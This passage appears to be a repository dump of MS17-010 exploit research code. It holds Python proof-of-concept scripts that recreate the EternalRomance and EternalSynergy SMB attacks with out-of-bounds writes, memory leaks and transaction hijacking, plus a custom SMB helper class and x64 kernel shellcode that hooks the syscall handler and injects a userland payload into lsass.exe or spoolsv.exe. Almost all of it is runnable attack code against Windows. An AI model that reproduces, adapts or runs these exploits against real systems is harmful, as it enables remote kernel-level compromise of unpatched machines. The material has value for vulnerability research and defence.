conn.do_write_andx_raw_pipe(fid, 'A'*0x1000) 33 | 34 | # send secondary for OOB write 35 | # after sending below secondary, a target should be crashed 36 | conn.send_nt_trans_secondary(fid, data='Z'*0x1000, dataDisplacement=0x4000) 37 | 38 | conn.disconnect_tree(tid) 39 | conn.logoff() 40 | conn.get_socket().close() 41 | -------------------------------------------------------------------------------- /eternalromance_poc2.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | from mysmb import MYSMB 3 | from impacket import smb, smbconnection 4 | from impacket.dcerpc.v5 import transport, lsat, ndr 5 | from struct import pack, unpack 6 | import sys 7 | 8 | ''' 9 | PoC: demonstrates how NSA eternalromance works against Windows 7 x64 (matched-pairs method). 10 | 11 | The PoC is written from capture network traffic against Windows 7 x64. 12 | I do my best to make it the same as original NSA eternalromance. 13 | 14 | NSA eternalromance works against Windows<8 because information leak bug is fixed in Windows>=8. 15 | NSA eternalsynergy changes information leak method to exploit Windows 8 and Windows 2012. 16 | NSA eternalsynergy also do something to bypass NonpagedPoolNx. I do not check it. 17 | ''' 18 | 19 | USERNAME = '' 20 | PASSWORD = '' 21 | 22 | if len(sys.argv) != 2: 23 | print("{} ".format(sys.argv[0])) 24 | sys.exit(1) 25 | 26 | target = sys.argv[1] 27 | pipe_name = 'lsarpc' 28 | 29 | 30 | conn = MYSMB(target) 31 | conn.login(USERNAME, PASSWORD) 32 | 33 | smbConn = smbconnection.SMBConnection(target, target, existingConnection=conn, manualNegotiate=True) 34 | dce = transport.SMBTransport(target, filename=pipe_name, smb_connection=smbConn).get_dce_rpc() 35 | dce.connect() 36 | 37 | conn.set_default_tid(conn.get_last_tid()) 38 | fid = conn.get_last_fid() 39 | 40 | dce.bind(lsat.MSRPC_UUID_LSAT) 41 | 42 | # send LsarGetUserName without getting result so there are data in named pipe to peek 43 | request = lsat.LsarGetUserName() 44 | request['SystemName'] = "\x00" 45 | request['UserName'] = "A"*263+'\x00' # this data size determines how many bytes of data we can leak 46 | request['DomainName'] = ndr.NULL 47 | dce.call(request.opnum, request) 48 | 49 | # ================================ 50 | # first leak 51 | # ================================ 52 | print('Leaking to determine Architecture') 53 | # send TRANS_PEEK_NMPIPE (0x23) request with small OutData buffer to leak info 54 | recvPkt = conn.send_trans(pack(' romance ? 97 | 98 | # ================================ 99 | # leak a transaction 100 | # ================================ 101 | print('Leaking a transaction') 102 | # leak a bride transaction 103 | conn.send_trans_secondary(mids[0], data='A') 104 | leakData = conn.recv_transaction_data(mids[0], 520) 105 | 106 | 107 | # NSA eternalromance parse leakData to get bride transaction (I skip this step) 108 | # from leak transaction, we know 109 | # - leak bride transaction address 110 | # - CONNECTION address 111 | # - next and previous transaction (flink and blink of LIST_ENTRY) 112 | # - ... 113 | # I do not know how NSA eternalromance use this leak info. I just look at pcap file. 114 | 115 | 116 | # use SMB write to shift transaction.InData 117 | conn.do_write_andx_raw_pipe(fid, 'A'*512, pid=pids[0]) 118 | 119 | print('Modify a bride transaction mid to 0') 120 | # below is dangerous operation 121 | # OOB write to modify next bride mid to 0 122 | conn.send_trans_secondary(fid, pid=pids[0], data='\x00\x00', dataDisplacement=0x5330) 123 | 124 | # test OOB write result by sending a secondary with mid=0 and bad data displacement 125 | conn.send_trans_secondary(0, data='\x00', dataDisplacement=0xffff) 126 | # if success, the target must reply an error 127 | # if no reply, this means fail too 128 | recvPkt = conn.recvSMB() 129 | if recvPkt.getNTStatus() != 0: 130 | print('Successfully took over a transaction') 131 | else: 132 | print('Fail to took over a transaction') 133 | 134 | print('''after successfully took over a transaction, NSA eternalromance 135 | - modify bride transaction (mid=0) InData to get arbitrary write 136 | - use arbitrary write to modify leak transaction to be peek named pipe command for arbitrary read''') 137 | 138 | 139 | # receive result to clear name pipe data 140 | dce.recv() 141 | 142 | dce.disconnect() 143 | conn.logoff() 144 | conn.get_socket().close() 145 | -------------------------------------------------------------------------------- /eternalsynergy_leak.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | from impacket import smb 3 | from mysmb import MYSMB 4 | from struct import pack 5 | import sys 6 | 7 | ''' 8 | PoC: demonstrates how NSA eternalsynergy leaks a transaction struct 9 | 10 | Note: 11 | - this PoC only test against Windows 7 x64 12 | - all SMB request parameter is copied from capture network traffic 13 | ''' 14 | 15 | USERNAME = '' 16 | PASSWORD = '' 17 | 18 | if len(sys.argv) != 3: 19 | print("{} ".format(sys.argv[0])) 20 | sys.exit(1) 21 | 22 | target = sys.argv[1] 23 | pipe_name = sys.argv[2] 24 | 25 | conn = MYSMB(target) 26 | 27 | # our buffer size is 4356 bytes 28 | # transaction with large reply will be splitted to multiple response 29 | conn.login(USERNAME, PASSWORD, maxBufferSize=4356) 30 | 31 | tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$') 32 | conn.set_default_tid(tid) 33 | fid = conn.nt_create_andx(tid, pipe_name) # any valid share name should be OK 34 | 35 | # normally, small transaction is allocated from lookaside which force all buffer size to 0x5000 36 | # the only method to get small buffer size is sending SMB_COM_TRANSACTION command with empty setup 37 | for i in range(10): 38 | conn.send_trans('', totalDataCount=0xdb0, maxSetupCount=0, maxParameterCount=0, maxDataCount=0) 39 | 40 | mid_ntrename = conn.next_mid() 41 | # create NT_TRANS_RENAME (5) request 42 | req1 = conn.create_nt_trans_packet(5, mid=mid_ntrename, param=pack(' ".format(sys.argv[0])) 28 | sys.exit(1) 29 | 30 | target = sys.argv[1] 31 | pipe_name = sys.argv[2] 32 | 33 | conn = MYSMB(target) 34 | conn.login(USERNAME, PASSWORD) 35 | 36 | tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$') 37 | conn.set_default_tid(tid) 38 | 39 | tid2 = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$') 40 | fid = conn.nt_create_andx(tid, pipe_name) 41 | 42 | print('Sending 50 frag packets (25 to free)') 43 | # paged pool size 0x8000 ... 0xc000 44 | for i in range(5): 45 | for j in range(7, 0xc): 46 | size = (j * 0x1000) + 0xe00 47 | conn.send_trans(pack('= 0x10000) 59 | for i in range(40): 60 | conn.send_trans(pack(' ".format(sys.argv[0])) 16 | sys.exit(1) 17 | 18 | target = sys.argv[1] 19 | pipe_name = sys.argv[2] 20 | 21 | conn = MYSMB(target) 22 | 23 | conn.login(USERNAME, PASSWORD) 24 | 25 | tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$') 26 | conn.set_default_tid(tid) 27 | fid = conn.nt_create_andx(tid, pipe_name) # any valid share name should be OK 28 | 29 | # create NT_TRANS_RENAME (5) request 30 | mid = conn.next_mid() 31 | conn.send_nt_trans(5, mid=mid, param=pack('H', len(req)) + req # assume length is <65536 231 | 232 | def send_raw(self, data): 233 | self.get_socket().send(data) 234 | 235 | def create_trans_packet(self, setup, param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, tid=None, noPad=False): 236 | if maxSetupCount is None: 237 | maxSetupCount = len(setup) 238 | if totalParameterCount is None: 239 | totalParameterCount = len(param) 240 | if totalDataCount is None: 241 | totalDataCount = len(data) 242 | if maxParameterCount is None: 243 | maxParameterCount = totalParameterCount 244 | if maxDataCount is None: 245 | maxDataCount = totalDataCount 246 | transCmd = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION) 247 | transCmd['Parameters'] = smb.SMBTransaction_Parameters() 248 | transCmd['Parameters']['TotalParameterCount'] = totalParameterCount 249 | transCmd['Parameters']['TotalDataCount'] = totalDataCount 250 | transCmd['Parameters']['MaxParameterCount'] = maxParameterCount 251 | transCmd['Parameters']['MaxDataCount'] = maxDataCount 252 | transCmd['Parameters']['MaxSetupCount'] = maxSetupCount 253 | transCmd['Parameters']['Flags'] = 0 254 | transCmd['Parameters']['Timeout'] = 0xffffffff 255 | transCmd['Parameters']['ParameterCount'] = len(param) 256 | transCmd['Parameters']['DataCount'] = len(data) 257 | transCmd['Parameters']['Setup'] = setup 258 | _put_trans_data(transCmd, param, data, noPad) 259 | return self.create_smb_packet(transCmd, mid, pid, tid) 260 | 261 | def send_trans(self, setup, param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, tid=None, noPad=False): 262 | self.send_raw(self.create_trans_packet(setup, param, data, mid, maxSetupCount, totalParameterCount, totalDataCount, maxParameterCount, maxDataCount, pid, tid, noPad)) 263 | return self.recvSMB() 264 | 265 | def create_trans_secondary_packet(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, tid=None, noPad=False): 266 | transCmd = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION_SECONDARY) 267 | transCmd['Parameters'] = SMBTransactionSecondary_Parameters() 268 | transCmd['Parameters']['TotalParameterCount'] = len(param) 269 | transCmd['Parameters']['TotalDataCount'] = len(data) 270 | transCmd['Parameters']['ParameterCount'] = len(param) 271 | transCmd['Parameters']['ParameterDisplacement'] = paramDisplacement 272 | transCmd['Parameters']['DataCount'] = len(data) 273 | transCmd['Parameters']['DataDisplacement'] = dataDisplacement 274 | 275 | _put_trans_data(transCmd, param, data, noPad) 276 | return self.create_smb_packet(transCmd, mid, pid, tid) 277 | 278 | def send_trans_secondary(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, tid=None, noPad=False): 279 | self.send_raw(self.create_trans_secondary_packet(mid, param, paramDisplacement, data, dataDisplacement, pid, tid, noPad)) 280 | 281 | def create_trans2_packet(self, setup, param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, tid=None, noPad=False): 282 | if maxSetupCount is None: 283 | maxSetupCount = len(setup) 284 | if totalParameterCount is None: 285 | totalParameterCount = len(param) 286 | if totalDataCount is None: 287 | totalDataCount = len(data) 288 | if maxParameterCount is None: 289 | maxParameterCount = totalParameterCount 290 | if maxDataCount is None: 291 | maxDataCount = totalDataCount 292 | transCmd = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2) 293 | transCmd['Parameters'] = smb.SMBTransaction2_Parameters() 294 | transCmd['Parameters']['TotalParameterCount'] = totalParameterCount 295 | transCmd['Parameters']['TotalDataCount'] = totalDataCount 296 | transCmd['Parameters']['MaxParameterCount'] = maxParameterCount 297 | transCmd['Parameters']['MaxDataCount'] = maxDataCount 298 | transCmd['Parameters']['MaxSetupCount'] = len(setup) 299 | transCmd['Parameters']['Flags'] = 0 300 | transCmd['Parameters']['Timeout'] = 0xffffffff 301 | transCmd['Parameters']['ParameterCount'] = len(param) 302 | transCmd['Parameters']['DataCount'] = len(data) 303 | transCmd['Parameters']['Setup'] = setup 304 | _put_trans_data(transCmd, param, data, noPad) 305 | return self.create_smb_packet(transCmd, mid, pid, tid) 306 | 307 | def send_trans2(self, setup, param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, tid=None, noPad=False): 308 | self.send_raw(self.create_trans2_packet(setup, param, data, mid, maxSetupCount, totalParameterCount, totalDataCount, maxParameterCount, maxDataCount, pid, tid, noPad)) 309 | return self.recvSMB() 310 | 311 | def create_trans2_secondary_packet(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, tid=None, noPad=False): 312 | transCmd = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2_SECONDARY) 313 | transCmd['Parameters'] = SMBTransaction2Secondary_Parameters() 314 | transCmd['Parameters']['TotalParameterCount'] = len(param) 315 | transCmd['Parameters']['TotalDataCount'] = len(data) 316 | transCmd['Parameters']['ParameterCount'] = len(param) 317 | transCmd['Parameters']['ParameterDisplacement'] = paramDisplacement 318 | transCmd['Parameters']['DataCount'] = len(data) 319 | transCmd['Parameters']['DataDisplacement'] = dataDisplacement 320 | 321 | _put_trans_data(transCmd, param, data, noPad) 322 | return self.create_smb_packet(transCmd, mid, pid, tid) 323 | 324 | def send_trans2_secondary(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, tid=None, noPad=False): 325 | self.send_raw(self.create_trans2_secondary_packet(mid, param, paramDisplacement, data, dataDisplacement, pid, tid, noPad)) 326 | 327 | def create_nt_trans_packet(self, function, setup='', param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, tid=None, noPad=False): 328 | if maxSetupCount is None: 329 | maxSetupCount = len(setup) 330 | if totalParameterCount is None: 331 | totalParameterCount = len(param) 332 | if totalDataCount is None: 333 | totalDataCount = len(data) 334 | if maxParameterCount is None: 335 | maxParameterCount = totalParameterCount 336 | if maxDataCount is None: 337 | maxDataCount = totalDataCount 338 | transCmd = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT) 339 | transCmd['Parameters'] = smb.SMBNTTransaction_Parameters() 340 | transCmd['Parameters']['MaxSetupCount'] = maxSetupCount 341 | transCmd['Parameters']['TotalParameterCount'] = totalParameterCount 342 | transCmd['Parameters']['TotalDataCount'] = totalDataCount 343 | transCmd['Parameters']['MaxParameterCount'] = maxParameterCount 344 | transCmd['Parameters']['MaxDataCount'] = maxDataCount 345 | transCmd['Parameters']['ParameterCount'] = len(param) 346 | transCmd['Parameters']['DataCount'] = len(data) 347 | transCmd['Parameters']['Function'] = function 348 | transCmd['Parameters']['Setup'] = setup 349 | _put_trans_data(transCmd, param, data, noPad) 350 | return self.create_smb_packet(transCmd, mid, pid, tid) 351 | 352 | def send_nt_trans(self, function, setup='', param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, tid=None, noPad=False): 353 | self.send_raw(self.create_nt_trans_packet(function, setup, param, data, mid, maxSetupCount, totalParameterCount, totalDataCount, maxParameterCount, maxDataCount, pid, tid, noPad)) 354 | return self.recvSMB() 355 | 356 | def create_nt_trans_secondary_packet(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, tid=None, noPad=False): 357 | transCmd = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT_SECONDARY) 358 | transCmd['Parameters'] = SMBNTTransactionSecondary_Parameters() 359 | transCmd['Parameters']['TotalParameterCount'] = len(param) 360 | transCmd['Parameters']['TotalDataCount'] = len(data) 361 | transCmd['Parameters']['ParameterCount'] = len(param) 362 | transCmd['Parameters']['ParameterDisplacement'] = paramDisplacement 363 | transCmd['Parameters']['DataCount'] = len(data) 364 | transCmd['Parameters']['DataDisplacement'] = dataDisplacement 365 | _put_trans_data(transCmd, param, data, noPad) 366 | return self.create_smb_packet(transCmd, mid, pid, tid) 367 | 368 | def send_nt_trans_secondary(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, tid=None, noPad=False): 369 | self.send_raw(self.create_nt_trans_secondary_packet(mid, param, paramDisplacement, data, dataDisplacement, pid, tid, noPad)) 370 | 371 | def recv_transaction_data(self, mid, minLen): 372 | data = '' 373 | while len(data) < minLen: 374 | recvPkt = self.recvSMB() 375 | if recvPkt['Mid'] != mid: 376 | continue 377 | resp = smb.SMBCommand(recvPkt['Data'][0]) 378 | data += resp['Data'][1:] # skip padding 379 | #print(len(data)) 380 | return data 381 | 382 | -------------------------------------------------------------------------------- /mysmb.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DanMcInerney/MS17-010/de253ce2cd2c2fc97ca382934891195a3f6fe761/mysmb.pyc -------------------------------------------------------------------------------- /npp_control.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | from impacket import smb 3 | from mysmb import MYSMB 4 | from struct import pack 5 | import sys 6 | 7 | ''' 8 | PoC: demonstrates controlling large nonpaged pool allocation with SMB_COM_SESSION_SETUP_ANDX bug 9 | 10 | Note: The PoC does not support user authentication 11 | ''' 12 | 13 | 14 | if len(sys.argv) != 2: 15 | print("{} ".format(sys.argv[0])) 16 | sys.exit(1) 17 | 18 | target = sys.argv[1] 19 | 20 | conn = MYSMB(target, use_ntlmv2=False) 21 | 22 | _, flags2 = conn.get_flags() 23 | 24 | # FLAGS2_EXTENDED_SECURITY MUST not be set 25 | flags2 &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY 26 | 27 | # if not use unicode, buffer size on target machine is doubled because converting ascii to utf16 28 | flags2 |= smb.SMB.FLAGS2_UNICODE 29 | conn.set_flags(flags2=flags2) 30 | 31 | pkt = smb.NewSMBPacket() 32 | 33 | sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX) 34 | sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters() 35 | sessionSetup['Parameters']['MaxBufferSize'] = 61440 # can be any value 36 | sessionSetup['Parameters']['MaxMpxCount'] = 2 # can by any value 37 | sessionSetup['Parameters']['VcNumber'] = 2 # any non-zero 38 | sessionSetup['Parameters']['SessionKey'] = 0 39 | sessionSetup['Parameters']['SecurityBlobLength'] = 0 # this is OEMPasswordLen field in another format. 0 for NULL session 40 | # UnicodePasswordLen field is in Reserved for extended security format. 41 | sessionSetup['Parameters']['Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY | smb.SMB.CAP_USE_NT_ERRORS 42 | 43 | # allocate nonpaged pool size 0x15ff (padding 1 byte, AccountName 2 bytes, PrimaryDomain 2 bytes) 44 | sessionSetup['Data'] = pack(' 5 minutes) to 13 | ; get call because system call is called on other processors. 14 | ; - The shellcode do not allocate shadow stack if possible for minimal shellcode size. 15 | ; It is ok because some Windows function does not require shadow stack. 16 | ; - Compiling shellcode with specific Windows version macro, corrupted buffer will be freed. 17 | ; - The userland payload MUST be appened to this shellcode. 18 | ; 19 | ; Reference: 20 | ; - http://www.geoffchappell.com/studies/windows/km/index.htm (structures info) 21 | ; - https://github.com/reactos/reactos/blob/master/reactos/ntoskrnl/ke/apc.c 22 | 23 | BITS 64 24 | ORG 0 25 | 26 | 27 | PSGETCURRENTPROCESS_HASH EQU 0xdbf47c78 28 | PSGETPROCESSID_HASH EQU 0x170114e1 29 | PSGETPROCESSIMAGEFILENAME_HASH EQU 0x77645f3f 30 | LSASS_EXE_HASH EQU 0xc1fa6a5a 31 | SPOOLSV_EXE_HASH EQU 0x3ee083d8 32 | ZWALLOCATEVIRTUALMEMORY_HASH EQU 0x576e99ea 33 | PSGETTHREADTEB_HASH EQU 0xcef84c3e 34 | KEINITIALIZEAPC_HASH EQU 0x6d195cc4 35 | KEINSERTQUEUEAPC_HASH EQU 0xafcc4634 36 | PSGETPROCESSPEB_HASH EQU 0xb818b848 37 | CREATETHREAD_HASH EQU 0x835e515e 38 | 39 | 40 | 41 | DATA_PEB_ADDR_OFFSET EQU -0x10 42 | DATA_QUEUEING_KAPC_OFFSET EQU -0x8 43 | DATA_ORIGIN_SYSCALL_OFFSET EQU 0x0 44 | DATA_NT_KERNEL_ADDR_OFFSET EQU 0x8 45 | DATA_KAPC_OFFSET EQU 0x10 46 | 47 | section .text 48 | global shellcode_start 49 | 50 | shellcode_start: 51 | 52 | setup_syscall_hook: 53 | ; IRQL is DISPATCH_LEVEL when got code execution 54 | 55 | %ifdef WIN7 56 | mov rdx, [rsp+0x40] ; fetch SRVNET_BUFFER address from function argument 57 | ; set nByteProcessed to free corrupted buffer after return 58 | mov ecx, [rdx+0x2c] 59 | mov [rdx+0x38], ecx 60 | %elifdef WIN8 61 | mov rdx, [rsp+0x40] ; fetch SRVNET_BUFFER address from function argument 62 | ; fix pool pointer (rcx is -0x8150 from controlled argument value) 63 | add rcx, rdx 64 | mov [rdx+0x30], rcx 65 | ; set nByteProcessed to free corrupted buffer after return 66 | mov ecx, [rdx+0x48] 67 | mov [rdx+0x40], ecx 68 | %endif 69 | 70 | push rbp 71 | 72 | call set_rbp_data_address_fn 73 | 74 | ; read current syscall 75 | mov ecx, 0xc0000082 76 | rdmsr 77 | ; do NOT replace saved original syscall address with hook syscall 78 | lea r9, [rel syscall_hook] 79 | cmp eax, r9d 80 | je _setup_syscall_hook_done 81 | 82 | ; if (saved_original_syscall != &KiSystemCall64) do_first_time_initialize 83 | cmp dword [rbp+DATA_ORIGIN_SYSCALL_OFFSET], eax 84 | je _hook_syscall 85 | 86 | ; save original syscall 87 | mov dword [rbp+DATA_ORIGIN_SYSCALL_OFFSET+4], edx 88 | mov dword [rbp+DATA_ORIGIN_SYSCALL_OFFSET], eax 89 | 90 | ; first time on the target 91 | mov byte [rbp+DATA_QUEUEING_KAPC_OFFSET], 0 92 | 93 | _hook_syscall: 94 | ; set a new syscall on running processor 95 | ; setting MSR 0xc0000082 affects only running processor 96 | xchg r9, rax 97 | push rax 98 | pop rdx ; mov rdx, rax 99 | shr rdx, 32 100 | wrmsr 101 | 102 | _setup_syscall_hook_done: 103 | pop rbp 104 | 105 | %ifdef WIN7 106 | xor eax, eax 107 | %elifdef WIN8 108 | xor eax, eax 109 | %endif 110 | ret 111 | 112 | ;======================================================================== 113 | ; Find memory address in HAL heap for using as data area 114 | ; Return: rbp = data address 115 | ;======================================================================== 116 | set_rbp_data_address_fn: 117 | ; On idle target without user application, syscall on hijacked processor might not be called immediately. 118 | ; Find some address to store the data, the data in this address MUST not be modified 119 | ; when exploit is rerun before syscall is called 120 | lea rbp, [rel _set_rbp_data_address_fn_next + 0x1000] 121 | _set_rbp_data_address_fn_next: 122 | shr rbp, 12 123 | shl rbp, 12 124 | sub rbp, 0x70 ; for KAPC struct too 125 | ret 126 | 127 | 128 | syscall_hook: 129 | swapgs 130 | mov qword [gs:0x10], rsp 131 | mov rsp, qword [gs:0x1a8] 132 | push 0x2b 133 | push qword [gs:0x10] 134 | 135 | push rax ; want this stack space to store original syscall addr 136 | ; save rax first to make this function continue to real syscall 137 | push rax 138 | push rbp ; save rbp here because rbp is special register for accessing this shellcode data 139 | call set_rbp_data_address_fn 140 | mov rax, [rbp+DATA_ORIGIN_SYSCALL_OFFSET] 141 | add rax, 0x1f ; adjust syscall entry, so we do not need to reverse start of syscall handler 142 | mov [rsp+0x10], rax 143 | 144 | ; save all volatile registers 145 | push rcx 146 | push rdx 147 | push r8 148 | push r9 149 | push r10 150 | push r11 151 | 152 | ; use lock cmpxchg for queueing APC only one at a time 153 | xor eax, eax 154 | mov dl, 1 155 | lock cmpxchg byte [rbp+DATA_QUEUEING_KAPC_OFFSET], dl 156 | jnz _syscall_hook_done 157 | 158 | ;====================================== 159 | ; restore syscall 160 | ;====================================== 161 | ; an error after restoring syscall should never occur 162 | mov ecx, 0xc0000082 163 | mov eax, [rbp+DATA_ORIGIN_SYSCALL_OFFSET] 164 | mov edx, [rbp+DATA_ORIGIN_SYSCALL_OFFSET+4] 165 | wrmsr 166 | 167 | ; allow interrupts while executing shellcode 168 | sti 169 | call r3_to_r0_start 170 | cli 171 | 172 | _syscall_hook_done: 173 | pop r11 174 | pop r10 175 | pop r9 176 | pop r8 177 | pop rdx 178 | pop rcx 179 | pop rbp 180 | pop rax 181 | ret 182 | 183 | r3_to_r0_start: 184 | ; save used non-volatile registers 185 | push r15 186 | push r14 187 | push rdi 188 | push rsi 189 | push rbx 190 | push rax ; align stack by 0x10 191 | 192 | ;====================================== 193 | ; find nt kernel address 194 | ;====================================== 195 | mov r15, qword [rbp+DATA_ORIGIN_SYSCALL_OFFSET] ; KiSystemCall64 is an address in nt kernel 196 | shr r15, 0xc ; strip to page size 197 | shl r15, 0xc 198 | 199 | _x64_find_nt_walk_page: 200 | sub r15, 0x1000 ; walk along page size 201 | cmp word [r15], 0x5a4d ; 'MZ' header 202 | jne _x64_find_nt_walk_page 203 | 204 | ; save nt address for using in KernelApcRoutine 205 | mov [rbp+DATA_NT_KERNEL_ADDR_OFFSET], r15 206 | 207 | ;====================================== 208 | ; get current EPROCESS and ETHREAD 209 | ;====================================== 210 | mov r14, qword [gs:0x188] ; get _ETHREAD pointer from KPCR 211 | mov edi, PSGETCURRENTPROCESS_HASH 212 | call win_api_direct 213 | xchg rcx, rax ; rcx = EPROCESS 214 | 215 | ; r15 : nt kernel address 216 | ; r14 : ETHREAD 217 | ; rcx : EPROCESS 218 | 219 | ;====================================== 220 | ; find offset of EPROCESS.ImageFilename 221 | ;====================================== 222 | mov edi, PSGETPROCESSIMAGEFILENAME_HASH 223 | call get_proc_addr 224 | mov eax, dword [rax+3] ; get offset from code (offset of ImageFilename is always > 0x7f) 225 | mov ebx, eax ; ebx = offset of EPROCESS.ImageFilename 226 | 227 | 228 | ;====================================== 229 | ; find offset of EPROCESS.ThreadListHead 230 | ;====================================== 231 | ; possible diff from ImageFilename offset is 0x28 and 0x38 (Win8+) 232 | ; if offset of ImageFilename is more than 0x400, current is (Win8+) 233 | %ifdef WIN7 234 | lea rdx, [rax+0x28] 235 | %elifdef WIN8 236 | lea rdx, [rax+0x38] 237 | %else 238 | cmp eax, 0x400 ; eax is still an offset of EPROCESS.ImageFilename 239 | jb _find_eprocess_threadlist_offset_win7 240 | add eax, 0x10 241 | _find_eprocess_threadlist_offset_win7: 242 | lea rdx, [rax+0x28] ; edx = offset of EPROCESS.ThreadListHead 243 | %endif 244 | 245 | 246 | ;====================================== 247 | ; find offset of ETHREAD.ThreadListEntry 248 | ;====================================== 249 | %ifdef COMPACT 250 | lea r9, [rcx+rdx] ; r9 = ETHREAD listEntry 251 | %else 252 | lea r8, [rcx+rdx] ; r8 = address of EPROCESS.ThreadListHead 253 | mov r9, r8 254 | %endif 255 | ; ETHREAD.ThreadListEntry must be between ETHREAD (r14) and ETHREAD+0x700 256 | _find_ethread_threadlist_offset_loop: 257 | mov r9, qword [r9] 258 | %ifndef COMPACT 259 | cmp r8, r9 ; check end of list 260 | je _insert_queue_apc_done ; not found !!! 261 | %endif 262 | ; if (r9 - r14 < 0x700) found 263 | mov rax, r9 264 | sub rax, r14 265 | cmp rax, 0x700 266 | ja _find_ethread_threadlist_offset_loop 267 | sub r14, r9 ; r14 = -(offset of ETHREAD.ThreadListEntry) 268 | 269 | 270 | ;====================================== 271 | ; find offset of EPROCESS.ActiveProcessLinks 272 | ;====================================== 273 | mov edi, PSGETPROCESSID_HASH 274 | call get_proc_addr 275 | mov edi, dword [rax+3] ; get offset from code (offset of UniqueProcessId is always > 0x7f) 276 | add edi, 8 ; edi = offset of EPROCESS.ActiveProcessLinks = offset of EPROCESS.UniqueProcessId + sizeof(EPROCESS.UniqueProcessId) 277 | 278 | 279 | ;====================================== 280 | ; find target process by iterating over EPROCESS.ActiveProcessLinks WITHOUT lock 281 | ;====================================== 282 | ; check process name 283 | _find_target_process_loop: 284 | lea rsi, [rcx+rbx] 285 | call calc_hash 286 | cmp eax, LSASS_EXE_HASH ; "lsass.exe" 287 | %ifndef COMPACT 288 | jz found_target_process 289 | cmp eax, SPOOLSV_EXE_HASH ; "spoolsv.exe" 290 | %endif 291 | jz found_target_process 292 | ; next process 293 | mov rcx, [rcx+rdi] 294 | sub rcx, rdi 295 | jmp _find_target_process_loop 296 | 297 | 298 | found_target_process: 299 | ; The allocation for userland payload will be in KernelApcRoutine. 300 | ; KernelApcRoutine is run in a target process context. So no need to use KeStackAttachProcess() 301 | 302 | ;====================================== 303 | ; save process PEB for finding CreateThread address in kernel KAPC routine 304 | ;====================================== 305 | mov edi, PSGETPROCESSPEB_HASH 306 | ; rcx is EPROCESS. no need to set it. 307 | call win_api_direct 308 | mov [rbp+DATA_PEB_ADDR_OFFSET], rax 309 | 310 | 311 | ;====================================== 312 | ; iterate ThreadList until KeInsertQueueApc() success 313 | ;====================================== 314 | ; r15 = nt 315 | ; r14 = -(offset of ETHREAD.ThreadListEntry) 316 | ; rcx = EPROCESS 317 | ; edx = offset of EPROCESS.ThreadListHead 318 | 319 | %ifdef COMPACT 320 | lea rbx, [rcx + rdx] 321 | %else 322 | lea rsi, [rcx + rdx] ; rsi = ThreadListHead address 323 | mov rbx, rsi ; use rbx for iterating thread 324 | %endif 325 | 326 | 327 | ; checking alertable from ETHREAD structure is not reliable because each Windows version has different offset. 328 | ; Moreover, alertable thread need to be waiting state which is more difficult to check. 329 | ; try queueing APC then check KAPC member is more reliable. 330 | 331 | _insert_queue_apc_loop: 332 | ; move backward because non-alertable and NULL TEB.ActivationContextStackPointer threads always be at front 333 | mov rbx, [rbx+8] 334 | %ifndef COMPACT 335 | cmp rsi, rbx 336 | je _insert_queue_apc_loop ; skip list head 337 | %endif 338 | 339 | ; find start of ETHREAD address 340 | ; set it to rdx to be used for KeInitializeApc() argument too 341 | lea rdx, [rbx + r14] ; ETHREAD 342 | 343 | ; userland shellcode (at least CreateThread() function) need non NULL TEB.ActivationContextStackPointer. 344 | ; the injected process will be crashed because of access violation if TEB.ActivationContextStackPointer is NULL. 345 | ; Note: APC routine does not require non-NULL TEB.ActivationContextStackPointer. 346 | ; from my observation, KTRHEAD.Queue is always NULL when TEB.ActivationContextStackPointer is NULL. 347 | ; Teb member is next to Queue member. 348 | mov edi, PSGETTHREADTEB_HASH 349 | call get_proc_addr 350 | mov eax, dword [rax+3] ; get offset from code (offset of Teb is always > 0x7f) 351 | cmp qword [rdx+rax-8], 0 ; KTHREAD.Queue MUST not be NULL 352 | je _insert_queue_apc_loop 353 | 354 | ; KeInitializeApc(PKAPC, 355 | ; PKTHREAD, 356 | ; KAPC_ENVIRONMENT = OriginalApcEnvironment (0), 357 | ; PKKERNEL_ROUTINE = kernel_apc_routine, 358 | ; PKRUNDOWN_ROUTINE = NULL, 359 | ; PKNORMAL_ROUTINE = userland_shellcode, 360 | ; KPROCESSOR_MODE = UserMode (1), 361 | ; PVOID Context); 362 | lea rcx, [rbp+DATA_KAPC_OFFSET] ; PAKC 363 | xor r8, r8 ; OriginalApcEnvironment 364 | lea r9, [rel kernel_kapc_routine] ; KernelApcRoutine 365 | push rbp ; context 366 | push 1 ; UserMode 367 | push rbp ; 